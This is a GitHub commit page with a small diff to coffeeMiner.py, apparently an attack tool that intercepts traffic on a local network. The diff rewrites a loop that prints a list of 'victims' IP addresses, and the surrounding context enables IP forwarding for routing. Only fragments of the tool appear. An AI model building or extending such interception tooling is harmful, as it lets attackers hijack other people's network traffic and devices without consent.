dotaxis
7 years ago
committed by
GitHub
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with
3 additions and
2 deletions
-
coffeeMiner.py
|
|
@ -23,9 +23,10 @@ def get_victims(): |
|
|
|
gateway = sys.argv[1] |
|
|
|
print("gateway: " + gateway) |
|
|
|
# get victims_ip |
|
|
|
victims = get_victims() |
|
|
|
print("victims: ") |
|
|
|
for victim in get_victims(): |
|
|
|
print(victim) |
|
|
|
for v in victims: |
|
|
|
print(v) |
|
|
|
|
|
|
|
# configure routing (IPTABLES) |
|
|
|
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") |
|
|
|